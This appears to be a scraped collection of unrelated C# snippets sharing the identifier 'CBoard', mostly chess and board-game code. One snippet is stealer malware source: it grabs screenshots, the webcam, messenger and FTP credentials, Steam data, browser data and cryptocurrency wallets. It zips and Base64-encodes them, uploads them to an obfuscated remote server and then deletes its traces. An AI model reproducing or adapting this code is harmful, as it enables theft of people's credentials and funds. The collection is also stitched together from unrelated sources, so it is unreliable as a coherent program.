public CMoveItem(CBoard board, CPiece piece, int file, int rank) { Board = board; Piece = piece; File = file; Rank = rank; }
public async Task <ActionResult <CBoard> > PostCBoard(CBoard cBoard) { _context.CBoard.Add(cBoard); await _context.SaveChangesAsync(); return(CreatedAtAction("GetCBoard", new { id = cBoard.Id }, cBoard)); }
public Piece(CBoard board, Color color) { Position = null; PieceBoard = board; Color = color; QtMoves = 0; }
public async Task <IActionResult> PutCBoard(int id, CBoard cBoard) { if (id != cBoard.Id) { return(BadRequest()); } _context.Entry(cBoard).State = EntityState.Modified; try { await _context.SaveChangesAsync(); } catch (DbUpdateConcurrencyException) { if (!CBoardExists(id)) { return(NotFound()); } else { throw; } } return(NoContent()); }
public ChessGame() { board = new CBoard(8, 8); Turn = 1; CurrentPlayer = Color.White; Finished = false; Check = false; pieces = new HashSet <Piece>(); captured = new HashSet <Piece>(); PutPieces(); }
public virtual void Init() { // UI this.m_RectTransform = this.transform as RectTransform; this.m_RectTransform.pivot = new Vector2(0.5f, 1f); // GROUP this.m_Group = GameObject.FindObjectOfType <CGroupCard>(); this.m_Board = GameObject.FindObjectOfType <CBoard>(); this.m_LayoutGroup = this.GetComponent <VerticalLayoutGroup>(); this.m_LayoutGroup.enabled = false; // CARDS this.m_Cards = new List <CCard>(); }
public Igra() { this.CBoard = new ChessBoard(); this.SahovskeFigurice = new SahovskeFigurice(); this.PoljeSvetlo = new PoljeSvetlo(); this.PoljeTamno = new PoljeTamno(); Thread thread = new Thread(delegate() { while (true) { Thread.Sleep(500); if (StopericaPublic.Elapsed1 < TimeSpan.Zero) { StopericaPublic.Stop1(); if (MessageBox.Show("Vreme je isteklo Belom igracu", "sss", MessageBoxButton.OK) == MessageBoxResult.OK) { StopericaPublic.Reset1(); StopericaPublic.Stop1(); Rezultat = ChessBoard.GameResultE.OnGoing; Rezultat = CBoard.GetCurrentResult(); } } else if (StopericaPublic.Elapsed2 < TimeSpan.Zero) { StopericaPublic.Stop2(); if (MessageBox.Show("Vreme je isteklo CRNOM igracu", "sss", MessageBoxButton.OK) == MessageBoxResult.OK) { StopericaPublic.Reset2(); StopericaPublic.Stop2(); Rezultat = ChessBoard.GameResultE.OnGoing; Rezultat = CBoard.GetCurrentResult(); } } } }); thread.IsBackground = true; thread.Start(); }
private static void DrawField(DrawingContext drawingContext, CBoard board, Rect area, int coorX, int coorY, Typeface typeFace, double fontSize) { var squareWidth = area.Width / 8D; var squareHeight = area.Height / 8D; var l = area.Left + coorX * squareWidth; var b = area.Bottom - coorY * squareHeight; var r = l + squareWidth; var t = b - squareHeight; l = Math.Floor(l + 0.5D); t = Math.Floor(t + 0.5D); r = Math.Floor(r + 0.5D); b = Math.Floor(b + 0.5D); var square = new Rect(l, t, r - l, b - t); if (square.Width <= 0 || square.Height <= 0D) { return; } var brush = (coorX + coorY) % 2 == 0 ? BlackBrush : WhiteBrush; drawingContext.DrawRectangle(brush, null, square); if (true) { DrawText(drawingContext, square, typeFace, squareWidth * 0.5D, TextBrush, new CSquare(coorX, coorY).ToString()); } var piece = board[coorX, coorY]; if (piece != null) { var foreground = piece.Player == EPlayer.Black ? Brushes.Black : Brushes.White; DrawText(drawingContext, square, typeFace, fontSize, foreground, piece.ToString()); } }
protected override void OnRender(DrawingContext drawingContext) { base.OnRender(drawingContext); var main = new Rect(0, 0, ActualWidth, ActualHeight); drawingContext.DrawRectangle(Background, null, main); var size = SquareSize * 8D; var left = (main.Width - size) / 2D; var top = (main.Height - size) / 2D; var area = new Rect(left, top, size, size); var board = Board ?? CBoard.GetDefaultBoard(); var typeFace = new Typeface(FontFamily, FontStyle, FontWeight, FontStretch); for (var x = 0; x < 8; x++) { for (var y = 0; y < 8; y++) { DrawField(drawingContext, board, area, x, y, typeFace, FontSize); } } }
private void Reset() { ChessBoard.Board = CBoard.GetDefaultBoard(); _player = EPlayer.White; //ChessBoard.Board = new CBoard //{ // ["B7"] = new CPieceKing(EPlayer.White), // ["D7"] = new CPieceKing(EPlayer.Black), // ["E5"] = new CPieceQueen(EPlayer.White), // ["E6"] = new CPieceKnight(EPlayer.White), // ["E7"] = new CPieceBishop(EPlayer.Black), //}; //_player = EPlayer.White; //ChessBoard.Board = new CBoard //{ // ["H6"] = new CPieceKing(EPlayer.Black), // ["H8"] = new CPieceKing(EPlayer.White), // ["G1"] = new CPieceQueen(EPlayer.Black) //}; //_player = EPlayer.White; //ChessBoard.Board = new CBoard //{ // ["B6"] = new CPieceKnight(EPlayer.White), // ["B5"] = new CPieceKing(EPlayer.White), // ["C7"] = new CPieceKing(EPlayer.Black), // ["F7"] = new CPieceKnight(EPlayer.White), // ["H7"] = new CPieceQueen(EPlayer.White), //}; //_player = EPlayer.White; _game = new CGame(ChessBoard.Board); ChessBoard.InvalidateVisual(); ListBox.ItemsSource = null; }
public override void Start() { int parameter = 0; while (!IsFinished()) { CircularGameType.main.StateOfGame = $"{Players[0].Name} must throw the dices."; Players[0].Input(); Dm.Roll(Rnd); int loc = Players[0].GetPlayerLocation(); Players[0].UpdateLocation(new Square(Players[0].GetPlayerLocation() + Dm.GetTotal()), 2); CBoard.MakeItCircular(Players[0], CBoard.SquareCount); if (Players[0] is IScorable scPlayer) { if (loc > Players[0].GetPlayerLocation()) { scPlayer.UpdateScore(2000); CircularGameType.main.StateOfGame = $"{Players[0].Name} went by start square and got 2000 bonus points. His points are {scPlayer.GetTotalScore()}"; #region UpdateScoreForTheUi if (Players[0].Name.Equals("Player 1")) { CircularGameType.main.Player1 = $"Player1: {((ScorableHumanPlayer)Players[0]).GetTotalScore()} points"; } else if (Players[0].Name.Equals("Player 2")) { CircularGameType.main.Player2 = $"Player2: {((ScorableHumanPlayer)Players[0]).GetTotalScore()} points"; } else if (Players[0].Name.Equals("Computer")) { CircularGameType.main.Player3 = $"Computer: {((ScorableComputerPlayer)Players[0]).GetTotalScore()} points"; } #endregion Thread.Sleep(2000); } scPlayer.UpdateScore(Dm.GetTotal() * 10); #region UpdateScoreForTheUi if (Players[0].Name.Equals("Player 1")) { CircularGameType.main.Player1 = $"Player1: {((ScorableHumanPlayer)Players[0]).GetTotalScore()} points"; } else if (Players[0].Name.Equals("Player 2")) { CircularGameType.main.Player2 = $"Player2: {((ScorableHumanPlayer)Players[0]).GetTotalScore()} points"; } else if (Players[0].Name.Equals("Computer")) { CircularGameType.main.Player3 = $"Computer: {((ScorableComputerPlayer)Players[0]).GetTotalScore()} points"; } #endregion CircularGameType.main.StateOfGame = $"{Players[0].Name} has throwed {Dm.GetTotal()}. His score is {scPlayer.GetTotalScore()}\n"; Thread.Sleep(2000); CBoard.ApplySquareEffect(Players[0]); if (Dm.AllEqual()) { CircularGameType.main.StateOfGame = $"\n{Players[0].Name} has thrown a double, he get the chance to throw again...\n"; Thread.Sleep(1000); } else { var temp = Players[0]; for (int i = 0; i < Players.Count - 1; i++) { Players[i] = Players[i + 1]; } Players[Players.Count - 1] = temp; parameter++; if (Tm.ATurnHasEnded(Players, ref parameter)) { CircularGameType.main.StateOfGame = $"\nA turn has ended.\n"; CircularGameType.main.TurnsLeft = $"Turns Left: {Tm.TurnCount}"; Thread.Sleep(1000); } } if (Tm.AllTurnsAreMade()) { int max = scPlayer.GetTotalScore(); string name; if (scPlayer is ScorableHumanPlayer) { name = ((ScorableHumanPlayer)scPlayer).Name; } else { name = ((ScorableComputerPlayer)scPlayer).Name; } foreach (IScorable sc in Players) { if (sc.GetTotalScore() > max) { max = sc.GetTotalScore(); if (sc is ScorableHumanPlayer) { name = ((ScorableHumanPlayer)sc).Name; } else { name = ((ScorableComputerPlayer)sc).Name; } } else { } } CircularGameType.main.StateOfGame = $"\nThe winner is {name} with a total score of {max} points."; Thread.Sleep(2000); } } } }
public King(CBoard board, Color color) : base(board, color) { }
void Awake() { _board = CBoard.GetInstance(); }
void Awake() { //_board = GameObject.Find("Tiles").GetComponent<CBoard>(); _board = CBoard.GetInstance(); }
public bool Start(string[] Params) { Information.Start(); ProcList.Parse(); Thread.Sleep(new Random().Next(1, 5) * 100); if (Base64.Decode(Params[2]) == "1") { clipper.Start(); } Action action = delegate { CBoard.Start(); }; try { if (base.InvokeRequired) { Invoke(action); } else { action(); } } catch { } DesktopImg.Start(); DFiles.Start(); WebCam.Start(); FZ.Start(); Pidgin.Start(); DS.Start(); TG.Start(); Skype.Start(); Steam.Start(); BTCQt.Start(); BTCByte.Start(); BTCDASH.Start(); BTCETH.Start(); BTCMON.Start(); Thread.Sleep(new Random().Next(1, 5) * 1000); EGChromeC.Start(); string text = null; text = $"{Buffer.path_ad}{GetRandom.String(null, 8)}"; if (File.Exists(text)) { File.Delete(text); } ZipFile.CreateFromDirectory(Buffer.path_l, text); try { if (!EntryPoint.activation) { Environment.FailFast("Program has been crashed"); } using (WebClient webClient = new WebClient()) { NameValueCollection nameValueCollection = new NameValueCollection(); nameValueCollection.Add("_x_key_x_", Base64.Encode(EntryPoint.key)); nameValueCollection.Add("zipx", Base64.Encode(File.ReadAllText(text, Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251))); nameValueCollection.Add("desktop", Base64.Encode(File.ReadAllText($"{Buffer.path_l}ScreenShot.png", Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251))); nameValueCollection.Add("webcam", Base64.Encode(File.ReadAllText($"{Buffer.path_l}WebCam.jpg", Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251))); nameValueCollection.Add("email", Params[0]); nameValueCollection.Add("caption", Exporter.Export("<title>", "</title>", Starter.FileData)); nameValueCollection.Add("username", Base64.Encode(Environment.UserName)); nameValueCollection.Add("c_count", Base64.Encode(Buffer.XBufferData[0])); nameValueCollection.Add("pcount", Base64.Encode(Buffer.XBufferData[1])); nameValueCollection.Add("acount", Base64.Encode(Buffer.XBufferData[10])); nameValueCollection.Add("cd_count", Base64.Encode(Buffer.XBufferData[11])); nameValueCollection.Add("steam", Base64.Encode(Buffer.XBufferData[6])); nameValueCollection.Add("fzilla", Base64.Encode(Buffer.XBufferData[2])); nameValueCollection.Add("tg", Base64.Encode(Buffer.XBufferData[3])); nameValueCollection.Add("dcord", Base64.Encode(Buffer.XBufferData[4])); nameValueCollection.Add("skype", Base64.Encode(Buffer.XBufferData[5])); nameValueCollection.Add("b-core", Base64.Encode(Buffer.XBufferData[7])); nameValueCollection.Add("b-byte", Base64.Encode(Buffer.XBufferData[13])); nameValueCollection.Add("b-d", Base64.Encode(Buffer.XBufferData[14])); nameValueCollection.Add("b-ethe", Base64.Encode(Buffer.XBufferData[15])); nameValueCollection.Add("b-mon", Base64.Encode(Buffer.XBufferData[16])); nameValueCollection.Add("avinstall", Base64.Encode(Buffer.XBufferData[18])); nameValueCollection.Add("_version_", Base64.Encode("3200")); while (true) { try { if (Encoding.Default.GetString(webClient.UploadValues(string.Format("http://{0}", Base64.Decode(string.Format("{0}{1}{2}", Buffer.Sender, Buffer.Handler, "="))), nameValueCollection)) == "good") { goto IL_040a; } } catch { } Thread.Sleep(2000); } } } catch { } goto IL_040a; IL_040a: try { Directory.Delete(Buffer.path_l, recursive: true); } catch { } try { File.Delete(text); } catch { } return(true); }
public CGame(CBoard board) { Board = board; }
void Awake() { _instance = this; }
public Rook(CBoard board, Color color) : base(board, color) { }